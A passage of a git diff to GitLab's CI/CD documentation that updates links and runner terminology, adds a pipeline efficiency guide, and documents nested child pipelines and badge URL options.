a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md index 685c93b3be4..dd08f9248f6 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md @@ -66,7 +66,7 @@ unresolved state or your pipelines may be dropped. ## Using Merge Trains -When you enable [Pipelines for merged results](#pipelines-for-merged-results-premium), +When you enable [Pipelines for merged results](#pipelines-for-merged-results), GitLab [automatically displays](merge_trains/index.md#add-a-merge-request-to-a-merge-train) a **Start/Add Merge Train button**. @@ -127,5 +127,5 @@ unexpected timing. For example, when a source or target branch is advanced. In this case, the pipeline fails because of `fatal: reference is not a tree:` error, which indicates that the checkout-SHA is not found in the merge ref. -This behavior was improved at GitLab 12.4 by introducing [Persistent pipeline refs](../../pipelines/index.md#troubleshooting-fatal-reference-is-not-a-tree). +This behavior was improved at GitLab 12.4 by introducing [Persistent pipeline refs](../../troubleshooting.md#fatal-reference-is-not-a-tree-error). You should be able to create pipelines at any timings without concerning the error. diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md index d91d88c8e12..1f88e8f832f 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md @@ -13,7 +13,7 @@ last_update: 2019-07-03 For more information about why you might want to use Merge Trains, read [How merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/). -When [pipelines for merged results](../index.md#pipelines-for-merged-results-premium) are +When [pipelines for merged results](../index.md#pipelines-for-merged-results) are enabled, the pipeline jobs run as if the changes from your source branch have already been merged into the target branch. @@ -80,7 +80,7 @@ To enable merge trains: To enable merge trains for your project: -1. If you are on a self-managed GitLab instance, ensure the [feature flag](#merge-trains-feature-flag-premium-only) is set correctly. +1. If you are on a self-managed GitLab instance, ensure the [feature flag](#merge-trains-feature-flag) is set correctly. 1. [Configure your CI/CD configuration file](../../index.md#configuring-pipelines-for-merge-requests) so that the pipeline or individual jobs run for merge requests. 1. Visit your project's **Settings > General** and expand **Merge requests**. diff --git a/doc/ci/metrics_reports.md b/doc/ci/metrics_reports.md index 14669edf7eb..4f4471225a0 100644 --- a/doc/ci/metrics_reports.md +++ b/doc/ci/metrics_reports.md @@ -11,7 +11,7 @@ type: reference ## Overview -GitLab provides a lot of great reporting tools for [merge requests](../user/project/merge_requests/index.md) - [JUnit reports](junit_test_reports.md), [code quality](../user/project/merge_requests/code_quality.md), performance tests, etc. While JUnit is a great open framework for tests that "pass" or "fail", it is also important to see other types of metrics from a given change. +GitLab provides a lot of great reporting tools for [merge requests](../user/project/merge_requests/index.md) - [Unit test reports](unit_test_reports.md), [code quality](../user/project/merge_requests/code_quality.md), performance tests, etc. While JUnit is a great open framework for tests that "pass" or "fail", it is also important to see other types of metrics from a given change. You can configure your job to use custom Metrics Reports, and GitLab will display a report on the merge request so that it's easier and faster to identify changes without having to check the entire log. @@ -37,7 +37,7 @@ All values are considered strings and string compare is used to find differences ## How to set it up -Add a job that creates a [metrics report](pipelines/job_artifacts.md#artifactsreportsmetrics-premium) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format. +Add a job that creates a [metrics report](pipelines/job_artifacts.md#artifactsreportsmetrics) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format. For example: diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index 78705815c24..6de494bceaf 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -120,7 +120,7 @@ stages: - build - test - deploy - + job 1: stage: build script: make build dependencies @@ -128,7 +128,7 @@ job 1: job 2: stage: build script: make build artifacts - + job3: stage: test script: make test @@ -276,17 +276,17 @@ There are two GitLab issues open addressing CircleCI Orbs and how GitLab can ach ## Build environments -CircleCI offers `executors` as the underlying technology to run a specific job. In GitLab, this is done by [Runners](https://docs.gitlab.com/runner/). +CircleCI offers `executors` as the underlying technology to run a specific job. In GitLab, this is done by [runners](https://docs.gitlab.com/runner/). The following environments are supported: -Self-Managed Runners: +Self-managed runners: - Linux - Windows - macOS -GitLab.com Shared Runners: +GitLab.com shared runners: - Linux - Windows @@ -294,7 +294,7 @@ GitLab.com Shared Runners: ### Machine and specific build environments -[Tags](../yaml/README.md#tags) can be used to run jobs on different platforms, by telling GitLab which Runners should run the jobs. +[Tags](../yaml/README.md#tags) can be used to run jobs on different platforms, by telling GitLab which runners should run the jobs. CircleCI example of a job running on a specific environment: diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index 1d029dcdd14..8dff99f7244 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -17,7 +17,7 @@ that were able to quickly complete this migration: 1. Start by reading the GitLab CI/CD [Quick Start Guide](../quick_start/README.md) and [important product differences](#important-product-differences). 1. Learn the importance of [managing the organizational transition](#managing-the-organizational-transition). -1. [Add Runners](../runners/README.md) to your GitLab instance. +1. [Add runners](../runners/README.md) to your GitLab instance. 1. Educate and enable your developers to independently perform the following steps in their projects: 1. Review the [Quick Start Guide](../quick_start/README.md) and [Pipeline Configuration Reference](../yaml/README.md). 1. Use the [Jenkins Wrapper](#jenkinsfile-wrapper) to temporarily maintain fragile Jenkins jobs. @@ -26,6 +26,8 @@ that were able to quickly complete this migration: 1. Migrate the deployment jobs using [cloud deployment templates](../cloud_deployment/index.md), adding [environments](../environments/index.md), and [deploy boards](../..//user/project/deploy_boards.md). 1. Work to unwrap any jobs still running with the use of the Jenkins wrapper. 1. Take stock of any common CI/CD job definitions then create and share [templates](#templates) for them. +1. Check the [pipeline efficiency documentation](../pipelines/pipeline_efficiency.md) + to learn how to make your GitLab CI/CD pipelines faster and more efficient. For an example of how to convert a Jenkins pipeline into a GitLab CI/CD pipeline, or how to use Auto DevOps to test your code automatically, watch the @@ -107,7 +109,7 @@ There are some high level differences between the products worth mentioning: is in the YAML format (see [complete reference](../yaml/README.md)) instead of a Groovy DSL. It's most analogous to the declarative Jenkinsfile format. - Manual approvals or gates can be set up as [`when:manual` jobs](../yaml/README.md#whenmanual). These can - also leverage [`protected environments`](../yaml/README.md#protecting-manual-jobs-premium) + also leverage [`protected environments`](../yaml/README.md#protecting-manual-jobs) to control who is able to approve them. - GitLab comes with a [container registry](../../user/packages/container_registry/index.md), and we recommend using container images to set up your build environment. For example, set up one pipeline that builds your build environment @@ -117,26 +119,26 @@ There are some high level differences between the products worth mentioning: or other manual jobs that function like utilities. Jenkins installations tend to have a few of these. -## Agents vs. Runners +## Agents vs. runners -Both Jenkins agents and GitLab Runners are the hosts that run jobs. To convert the +Both Jenkins agents and GitLab runners are the hosts that run jobs. To convert the Jenkins agent, simply uninstall it and then [install and register the runner](../runners/README.md). Runners do not require much overhead, so you can size them similarly to the Jenkins agents you were using. -There are some important differences in the way Runners work in comparison to agents: +There are some important differences in the way runners work in comparison to agents: - Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/README.md#types-of-runners). They will self-select jobs from the scopes you've defined automatically. - You can also [use tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and associate runners with specific jobs. For example, you can use a tag for jobs that require dedicated, more powerful, or specific hardware. -- GitLab has [autoscaling for Runners](https://docs.gitlab.com/runner/configuration/autoscale.html) +- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html) which will let you configure them to be provisioned as needed, and scaled down when not. This is similar to ephemeral agents in Jenkins. -If you are using `gitlab.com`, you can take advantage of our [shared Runner fleet](../../user/gitlab_com/index.md#shared-runners) -to run jobs without provisioning your own Runners. We are investigating making them +If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../../user/gitlab_com/index.md#shared-runners) +to run jobs without provisioning your own runners. We are investigating making them [available for self-managed instances](https://gitlab.com/groups/gitlab-org/-/epics/835) as well. @@ -225,11 +227,11 @@ and is meant to be a mapping of concepts there to concepts in GitLab. #### `agent` -The agent section is used to define how a pipeline will be executed. For GitLab, we use the [GitLab Runner](../runners/README.md) +The agent section is used to define how a pipeline will be executed. For GitLab, we use [runners](../runners/README.md) to provide this capability. You can configure your own runners in Kubernetes or on any host, or take advantage of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users.) The link above will bring you to the documentation which will describe how to get up and running quickly. We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs -to different Runners (execution agents). +to different runners (execution agents). The `agent` section also allows you to define which Docker images should be used for execution, for which we use the [`image`](../yaml/README.md#image) keyword. The `image` can be set on a single job or at the top level, in which @@ -238,7 +240,6 @@ case it will apply to all jobs in the pipeline: ```yaml my_job: image: alpine - ... ``` #### `post` @@ -284,7 +285,6 @@ stages: my_job: stage: build - ... ``` #### `steps` @@ -297,7 +297,6 @@ my_job: script: - echo "hello! the current time is:" - time - ... ``` ### Directives @@ -357,3 +356,8 @@ our very powerful [`only/except` rules system](../yaml/README.md#onlyexcept-basi my_job: only: [branches] ``` + +## Additional resources + +For help making your pipelines faster and more efficient, see the +[pipeline efficiency documentation](../pipelines/pipeline_efficiency.md). diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md index 3df2db8539e..3f9a00b6cc8 100644 --- a/doc/ci/multi_project_pipelines.md +++ b/doc/ci/multi_project_pipelines.md @@ -124,7 +124,7 @@ gets created. If you want to display the downstream pipeline's status instead, s NOTE: **Note:** Bridge jobs do not support every configuration entry that a user can use -in the case of regular jobs. Bridge jobs will not be picked by a Runner, +in the case of regular jobs. Bridge jobs will not be picked by a runner, so there is no point in adding support for `script`, for example. If a user tries to use unsupported configuration syntax, YAML validation will fail upon pipeline creation. @@ -272,7 +272,8 @@ You can trigger a pipeline in your project whenever a pipeline finishes for a ne tag in a different project: 1. Go to the project's **Settings > CI / CD** page, and expand the **Pipeline subscriptions** section. -1. Enter the path to the project you want to subscribe to. +1. Enter the project you want to subscribe to, in the format `<namespace>/<project>`. + For example, if the project is `https://gitlab.com/gitlab-org/gitlab`, use `gitlab-org/gitlab`. 1. Click subscribe. Any pipelines that complete successfully for new tags in the subscribed project diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md index 1cfa698bfa5..83fa1d355e6 100644 --- a/doc/ci/parent_child_pipelines.md +++ b/doc/ci/parent_child_pipelines.md @@ -150,8 +150,35 @@ We also have an [example project using Dynamic Child Pipelines with Jsonnet](htt In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail. This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070). -## Limitations +## Nested child pipelines -A parent pipeline can trigger many child pipelines, but a child pipeline cannot trigger -further child pipelines. See the [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/29651) -for discussion on possible future improvements. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29651) in GitLab 13.4. +> - It's [deployed behind a feature flag](../user/feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-nested-child-pipelines). **(CORE ONLY)** + +Parent and child pipelines were introduced with a maximum depth of one level of child +pipelines, which was later increased to two. A parent pipeline can trigger many child +pipelines, and these child pipelines can trigger their own child pipelines. It's not +possible to trigger another level of child pipelines. + +### Enable or disable nested child pipelines **(CORE ONLY)** + +Nested child pipelines with a depth of two are under development but ready for +production use. This feature is deployed behind a feature flag that is **enabled by default**. + +[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +Feature.enable(:ci_child_of_child_pipeline) +``` + +To disable it: + +```ruby +Feature.disable(:ci_child_of_child_pipeline) +``` diff --git a/doc/ci/pipelines/img/ci_efficiency_pipeline_dag_critical_path.png b/doc/ci/pipelines/img/ci_efficiency_pipeline_dag_critical_path.png Binary files differnew file mode 100644 index 00000000000..1715e8224ab --- /dev/null +++ b/doc/ci/pipelines/img/ci_efficiency_pipeline_dag_critical_path.png diff --git a/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png b/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png Binary files differnew file mode 100644 index 00000000000..0956e76804e --- /dev/null +++ b/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index 8419b474d54..1b9048089bd 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -22,7 +22,7 @@ Pipelines comprise: - Jobs, which define *what* to do. For example, jobs that compile or test code. - Stages, which define *when* to run the jobs. For example, stages that run tests after stages that compile the code. -Jobs are executed by [Runners](../runners/README.md). Multiple jobs in the same stage are executed in parallel, +Jobs are executed by [runners](../runners/README.md). Multiple jobs in the same stage are executed in parallel, if there are enough concurrent runners. If *all* jobs in a stage succeed, the pipeline moves on to the next stage. @@ -40,7 +40,7 @@ A typical pipeline might consist of four stages, executed in the following order - A `production` stage, with a job called `deploy-to-prod`. NOTE: **Note:** -If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter), +If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository), you may need to enable pipeline triggering in your project's **Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**. @@ -199,7 +199,7 @@ such as builds, logs, artifacts, and triggers. **This action cannot be undone.** ### Pipeline quotas Each user has a personal pipeline quota that tracks the usage of shared runners in all personal projects. -Each group has a [usage quota](../../subscriptions/index.md#ci-pipeline-minutes) that tracks the usage of shared runners for all projects created within the group. +Each group has a [usage quota](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes) that tracks the usage of shared runners for all projects created within the group. When a pipeline is triggered, regardless of who triggered it, the pipeline quota for the project owner's [namespace](../../user/group/index.md#namespaces) is used. In this case, the namespace can be the user or group that owns the project. @@ -483,7 +483,7 @@ be found when you are on a [single pipeline page](#view-pipelines). For example:  -[Multi-project pipeline graphs](../multi_project_pipelines.md#multi-project-pipeline-visualization-premium) help +[Multi-project pipeline graphs](../multi_project_pipelines.md#multi-project-pipeline-visualization) help you visualize the entire pipeline, including all cross-project inter-dependencies. **(PREMIUM)** ### Pipeline mini graphs @@ -535,32 +535,3 @@ GitLab provides API endpoints to: - Trigger pipeline runs. For more information, see: - [Triggering pipelines through the API](../triggers/README.md). - [Pipeline triggers API](../../api/pipeline_triggers.md). - -## Troubleshooting `fatal: reference is not a tree:` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17043) in GitLab 12.4. - -Previously, you'd have encountered unexpected pipeline failures when you force-pushed -a branch to its remote repository. To illustrate the problem, suppose you've had the current workflow: - -1. A user creates a feature branch named `example` and pushes it to a remote repository. -1. A new pipeline starts running on the `example` branch. -1. A user rebases the `example` branch on the latest `master` branch and force-pushes it to its remote repository. -1. A new pipeline starts running on the `example` branch again, however, - the previous pipeline (2) fails because of `fatal: reference is not a tree:` error. - -This is because the previous pipeline cannot find a checkout-SHA (which associated with the pipeline record) -from the `example` branch that the commit history has already been overwritten by the force-push. -Similarly, [Pipelines for merged results](../merge_request_pipelines/pipelines_for_merged_results/index.md) -might have failed intermittently due to [the same reason](../merge_request_pipelines/pipelines_for_merged_results/index.md#intermittently-pipelines-fail-by-fatal-reference-is-not-a-tree-error). - -As of GitLab 12.4, we've improved this behavior by persisting pipeline refs exclusively. -To illustrate its life cycle: - -1. A pipeline is created on a feature branch named `example`. -1. A persistent pipeline ref is created at `refs/pipelines/<pipeline-id>`, - which retains the checkout-SHA of the associated pipeline record. - This persistent ref stays intact during the pipeline execution, - even if the commit history of the `example` branch has been overwritten by force-push. -1. GitLab Runner fetches the persistent pipeline ref and gets source code from the checkout-SHA. -1. When the pipeline finished, its persistent ref is cleaned up in a background process. diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index be6886fe6b2..750a76bfaa0 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -47,7 +47,7 @@ when the job fails, or always, by using [`artifacts:when`](../yaml/README.md#art parameter. GitLab keeps these uploaded artifacts for 1 week, as defined by the `expire_in` definition. You can keep the artifacts from expiring via the [web interface](#browsing-artifacts). If the expiry time is not defined, it defaults -to the [instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration-core-only). +to the [instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration). For more examples on artifacts, follow the [artifacts reference in `.gitlab-ci.yml`](../yaml/README.md#artifacts). @@ -75,13 +75,13 @@ If you also want the ability to browse the report output files, include the > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2. > - Requires GitLab Runner 11.2 and above. -The `junit` report collects [JUnit XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html) +The `junit` report collects [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html) as artifacts. Although JUnit was originally developed in Java, there are many -[third party ports](https://en.wikipedia.org/wiki/JUnit#Ports) for other +third party ports for other languages like JavaScript, Python, Ruby, and so on. -See [JUnit test reports](../junit_test_reports.md) for more details and examples. -Below is an example of collecting a JUnit XML file from Ruby's RSpec test tool: +See [Unit test reports](../unit_test_reports.md) for more details and examples. +Below is an example of collecting a JUnit report format XML file from Ruby's RSpec test tool: ```yaml rspec: @@ -94,7 +94,7 @@ rspec: junit: rspec.xml ``` -The collected JUnit reports upload to GitLab as an artifact and display in merge requests. +The collected Unit test reports upload to GitLab as an artifact and display in merge requests. NOTE: **Note:** If the JUnit tool you use exports to multiple XML files, specify @@ -221,7 +221,7 @@ dashboards. CAUTION: **Warning:** This artifact is still valid but is **deprecated** in favor of the -[artifacts:reports:license_scanning](../pipelines/job_artifacts.md#artifactsreportslicense_scanning-ultimate) +[artifacts:reports:license_scanning](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) introduced in GitLab 12.8. The `license_management` report collects [Licenses](../../user/compliance/license_compliance/index.md) diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md index ace765ddb41..77614424b33 100644 --- a/doc/ci/pipelines/pipeline_architectures.md +++ b/doc/ci/pipelines/pipeline_architectures.md @@ -199,7 +199,7 @@ trigger_a: include: a/.gitlab-ci.yml rules: - changes: - - a/* + - a/* trigger_b: stage: triggers @@ -207,7 +207,7 @@ trigger_b: include: b/.gitlab-ci.yml rules: - changes: - - b/* + - b/* ``` Example child `a` pipeline configuration, located in `/a/.gitlab-ci.yml`, making diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md new file mode 100644 index 00000000000..c4febba8f44 --- /dev/null +++ b/doc/ci/pipelines/pipeline_efficiency.md @@ -0,0 +1,252 @@ +--- +stage: Verify +group: Continuous Integration +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: reference +--- + +# Pipeline Efficiency + +[CI/CD Pipelines](index.md) are the fundamental building blocks for [GitLab CI/CD](../README.md). +Making pipelines more efficient helps you save developer time, which: + +- Speeds up your DevOps processes +- Reduces costs +- Shortens the development feedback loop + +It's common that new teams or projects start with slow and inefficient pipelines, +and improve their configuration over time through trial and error. A better process is +to use pipeline features that improve efficiency right away, and get a faster software +development lifecycle earlier. + +First ensure you are familiar with [GitLab CI/CD fundamentals](../introduction/index.md) +and understand the [quick start guide](../quick_start/README.md). + +## Identify bottlenecks and common failures + +The easiest indicators to check for inefficient pipelines are the runtimes of the jobs, +stages, and the total runtime of the pipeline itself. The total pipeline duration is +heavily influenced by the: + +- Total number of stages and jobs. +- Dependencies between jobs. +- The ["critical path"](#directed-acyclic-graphs-dag-visualization), which represents + the minimum and maximum pipeline duration. + +Additional points to pay attention relate to [GitLab Runners](../runners/README.md): + +- Availability of the runners and the resources they are provisioned with. +- Build dependencies and their installation time. +- [Container image size](#docker-images). +- Network latency and slow connections. + +Pipelines frequently failing unnecessarily also causes slowdowns in the development +lifecycle. You should look for problematic patterns with failed jobs: + +- Flaky unit tests which fail randomly, or produce unreliable test results. +- Test coverage drops and code quality correlated to that behavior. +- Failures that can be safely ignored, but that halt the pipeline instead. +- Tests that fail at the end of a long pipeline, but could be in an earlier stage, + causing delayed feedback. + +## Pipeline analysis + +Analyze the performance of your pipeline to find ways to improve efficiency. Analysis +can help identify possible blockers in the CI/CD infrastructure. This includes analyzing: + +- Job workloads. +- Bottlenecks in the execution times. +- The overall pipeline architecture. + +It's important to understand and document the pipeline workflows, and discuss possible +actions and changes. Refactoring pipelines may need careful interaction between teams +in the DevSecOps lifecycle. + +Pipeline analysis can help identify issues with cost efficiency. For example, [runners](../runners/README.md) +hosted with a paid cloud service may be provisioned with: + +- More resources than needed for CI/CD pipelines, wasting money. +- Not enough resources, causing slow runtimes and wasting time. + +### Pipeline Insights + +The [Pipeline success and duration charts](index.md#pipeline-success-and-duration-charts) +give information about pipeline runtime and failed job counts. + +Tests like [unit tests](../unit_test_reports.md), integration tests, end-to-end tests, +[code quality](../../user/project/merge_requests/code_quality.md) tests, and others +ensure that problems are automatically found by the CI/CD pipeline. There could be many +pipeline stages involved causing long runtimes. + +You can improve runtimes by running jobs that test different things in parallel, in +the same stage, reducing overall runtime. The downside is that you need more runners +running simultaneously to support the parallel jobs. + +The [testing levels for GitLab](../../development/testing_guide/testing_levels.md) +provide an example of a complex testing strategy with many components involved. + +### Directed Acyclic Graphs (DAG) visualization + +The [Directed Acyclic Graph](../directed_acyclic_graph/index.md) (DAG) visualization can help analyze the critical path in +the pipeline and understand possible blockers. + + + +### Pipeline Monitoring + +Global pipeline health is a key indicator to monitor along with job and pipeline duration. +[CI/CD analytics](index.md#pipeline-success-and-duration-charts) give a visual +representation of pipeline health. + +Instance administrators have access to additional [performance metrics and self-monitoring](../../administration/monitoring/index.md). + +You can fetch specific pipeline health metrics from the [API](../../api/README.md). +External monitoring tools can poll the API and verify pipeline health or collect +metrics for long term SLA analytics. + +For example, the [GitLab CI Pipelines Exporter](https://github.com/mvisonneau/gitlab-ci-pipelines-exporter) +for Prometheus fetches metrics from the API. It can check branches in projects automatically +and get the pipeline status and duration. In combination with a Grafana dashboard, +this helps build an actionable view for your operations team. Metric graphs can also +be embedded into incidents making problem resolving easier. + + + +Alternatively, you can use a monitoring tool that can execute scripts, like +[`check_gitlab`](https://gitlab.com/6uellerBpanda/check_gitlab) for example. + +#### Runner monitoring + +You can also [monitor CI runners](https://docs.gitlab.com/runner/monitoring/) on +their host systems, or in clusters like Kubernetes. This includes checking: + +- Disk and disk IO +- CPU usage +- Memory +- Runner process resources + +The [Prometheus Node Exporter](https://prometheus.io/docs/guides/node-exporter/) +can monitor runners on Linux hosts, and [`kube-state-metrics`](https://github.com/kubernetes/kube-state-metrics) +runs in a Kubernetes cluster. + +You can also test [GitLab Runner auto-scaling](https://docs.gitlab.com/runner/configuration/autoscale.html) +with cloud providers, and define offline times to reduce costs. + +#### Dashboards and incident management + +Use your existing monitoring tools and dashboards to integrate CI/CD pipeline monitoring, +or build them from scratch. Ensure that the runtime data is actionable and useful +in teams, and operations/SREs are able to identify problems early enough. +[Incident management](../../operations/incident_management/index.md) can help here too, +with embedded metric charts and all valuable details to analyze the problem. + +### Storage usage + +Review the storage use of the following to help analyze costs and efficiency: + +- [Job artifacts](job_artifacts.md) and their [`expire_in`](../yaml/README.md#artifactsexpire_in) + configuration. If kept for too long, storage usage grows and could slow pipelines down. +- [Container registry](../../user/packages/container_registry/index.md) usage. +- [Package registry](../../user/packages/package_registry/index.md) usage. + +## Pipeline configuration + +Make careful choices when configuring pipelines to speed up pipelines and reduce +resource usage. This includes making use of GitLab CI/CD's built-in features that +make pipelines run faster and more efficiently. + +### Reduce how often jobs run + +Try to find which jobs don't need to run in all situations, and use pipeline configuration +to stop them from running: + +- Use the [`interruptible`](../yaml/README.md#interruptible) keyword to stop old pipelines + when they are superceded by a newer pipeline. +- Use [`rules`](../yaml/README.md#rules) to skip tests that aren't needed. For example, + skip backend tests when only the frontend code is changed. +- Run non-essential [scheduled pipelines](schedules.md) less frequently. + +### Fail fast + +Ensure that errors are detected early in the CI/CD pipeline. A job that takes a very long +time to complete keeps a pipeline from returning a failed status until the job completes. + +Design pipelines so that jobs that can [fail fast](../../user/project/merge_requests/fail_fast_testing.md) +run earlier. For example, add an early stage and move the syntax, style linting, +Git commit message verification, and similar jobs in there. + +Decide if it's important for long jobs to run early, before fast feedback from +faster jobs. The initial failures may make it clear that the rest of the pipeline +shouldn't run, saving pipeline resources. + +### Directed Acyclic Graphs (DAG) + +In a basic configuration, jobs always wait for all other jobs in earlier stages to complete +before running. This is the simplest configuration, but it's also the slowest in most +cases. [Directed Acyclic Graphs](../directed_acyclic_graph/index.md) and +[parent/child pipelines](../parent_child_pipelines.md) are more flexible and can +be more efficient, but can also make pipelines harder to understand and analyze. + +### Caching + +Another optimization method is to use [caching](../caching/index.md) between jobs and stages, +for example [`/node_modules` for NodeJS](../caching/index.md#caching-nodejs-dependencies). + +### Docker Images + +Downloading and initializing Docker images can be a large part of the overall runtime +of jobs. + +If a Docker image is slowing down job execution, analyze the base image size and network +connection to the registry. If GitLab is running in the cloud, look for a cloud container +registry offered by the vendor. In addition to that, you can make use of the +[GitLab container registry](../../user/packages/container_registry/index.md) which can be accessed +by the GitLab instance faster than other registries. + +#### Optimize Docker images + +Build optimized Docker images because large Docker images use up a lot of space and +take a long time to download with slower connection speeds. If possible, avoid using +one large image for all jobs. Use multiple smaller images, each for a specific task, +that download and run faster. + +Try to use custom Docker images with the software pre-installed. It's usually much +faster to download a larger pre-configured image than to use a common image and install +software on it each time. Docker's [Best practices for writing Dockerfiles](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/) +has more information about building efficient Docker images. + +Methods to reduce Docker image size: + +- Use a small base image, for example `debian-slim`. +- Do not install convenience tools like vim, curl, and so on, if they aren't strictly needed. +- Create a dedicated development image. +- Disable man pages and docs installed by packages to save space. +- Reduce the `RUN` layers and combine software installation steps. +- If using `apt`, add `--no-install-recommends` to avoid unnecessary packages. +- Clean up caches and files that are no longer needed at the end. For example + `rm -rf /var/lib/apt/lists/*` for Debian and Ubuntu, or `yum clean all` for RHEL and CentOS. +- Use tools like [dive](https://github.com/wagoodman/dive) or [DockerSlim](https://github.com/docker-slim/docker-slim) + to analyze and shrink images. + +To simplify Docker image management, you can create a dedicated group for managing +[Docker images](../docker/README.md) and test, build and publish them with CI/CD pipelines. + +## Test, document, and learn + +Improving pipelines is an iterative process. Make small changes, monitor the effect, +then iterate again. Many small improvements can add up to a large increase in pipeline +efficiency. + +It can help to document the pipeline design and architecture. You can do this with +[Mermaid charts in Markdown](../../user/markdown.md#mermaid) directly in the GitLab +repository. + +Document CI/CD pipeline problems and incidents in issues, including research done +and solutions found. This helps onboarding new team members, and also helps +identify recurring problems with CI pipeline efficiency. + +### Learn More + +- [CI Monitoring Webcast Slides](https://docs.google.com/presentation/d/1ONwIIzRB7GWX-WOSziIIv8fz1ngqv77HO1yVfRooOHM/edit?usp=sharing) +- [GitLab.com Monitoring Handbook](https://about.gitlab.com/handbook/engineering/monitoring/) +- [Buildings dashboards for operational visibility](https://aws.amazon.com/builders-library/building-dashboards-for-operational-visibility/) diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index 40093167213..849eb66d07f 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -57,17 +57,17 @@ The default value is 60 minutes. Decrease the time limit if you want to impose a hard limit on your jobs' running time or increase it otherwise. In any case, if the job surpasses the threshold, it is marked as failed. -### Timeout overriding on Runner level +### Timeout overriding for runners > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17221) in GitLab 10.7. Project defined timeout (either specific timeout set by user or the default -60 minutes timeout) may be [overridden on Runner level](../runners/README.md#set-maximum-job-timeout-for-a-runner). +60 minutes timeout) may be [overridden for runners](../runners/README.md#set-maximum-job-timeout-for-a-runner). ## Maximum artifacts size **(CORE ONLY)** For information about setting a maximum artifact size for a project, see -[Maximum artifacts size](../../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size-core-only). +[Maximum artifacts size](../../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size). ## Custom CI configuration path @@ -263,7 +263,15 @@ Depending on the status of your job, a badge can have the following values: You can access a pipeline status badge image using the following link: ```plaintext -https://example.gitlab.com/<namespace>/<project>/badges/<branch>/pipeline.svg +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg +``` + +#### Display only non-skipped status + +If you want the pipeline status badge to only display the last non-skipped status, you can use the `?ignore_skipped=true` query parameter: + +```plaintext +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg?ignore_skipped=true ``` ### Test coverage report badge @@ -275,7 +283,7 @@ pipeline can have the test coverage percentage value defined. The test coverage badge can be accessed using following link: ```plaintext -https://example.gitlab.com/<namespace>/<project>/badges/<branch>/coverage.svg +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg ``` If you would like to get the 